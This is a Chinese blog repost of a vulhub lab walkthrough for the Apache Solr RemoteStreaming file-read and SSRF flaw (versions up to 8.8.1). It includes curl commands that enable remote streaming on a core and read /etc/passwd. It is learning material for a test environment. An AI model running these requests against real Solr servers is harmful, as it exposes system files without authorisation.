我是靠谱客的博主 紧张指甲油,最近开发中收集的这篇文章主要介绍vulhub漏洞—Apache_Solr_RemoteStreaming文件读取与SSRF漏洞漏洞描述影响范围复现过程,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

漏洞描述

Apache Solr 是一个开源的搜索服务器。在Apache Solr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或任意文件读取。

影响范围

Apache Solr <= 8.8.1

复现过程

漏洞环境

vulhub搭建:https://github.com/vulhub/vulhub/blob/master/solr/Remote-Streaming-Fileread/README.zh-cn.md

执行如下命令启动solr 8.8.1:

docker-compose up -d

环境启动后,访问http://your-ip:8983即可查看Apache Solr后台。

复现过程

image-20211217144348178

访问,获取core

http://ip:8983/solr/admin/cores?indexInfo=false&wt=json

image-20211217144835223

我们这里core为demo,命令行发送

发送如下数据包,修改数据库demo的配置,开启RemoteStreaming:

curl -i -s -k -X $'POST'  -H $'Content-Type: application/json'

--data-binary $'{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}} 

$'http://ip:8983/solr/demo/config'

image-20211217145016779

读取任意文件

curl -i -s -k 'http://ip:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'

image-20211217145546857

最后

以上就是紧张指甲油为你收集整理的vulhub漏洞—Apache_Solr_RemoteStreaming文件读取与SSRF漏洞漏洞描述影响范围复现过程的全部内容,希望文章能够帮你解决vulhub漏洞—Apache_Solr_RemoteStreaming文件读取与SSRF漏洞漏洞描述影响范围复现过程所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(53)

评论列表共有 0 条评论

立即
投稿
返回
顶部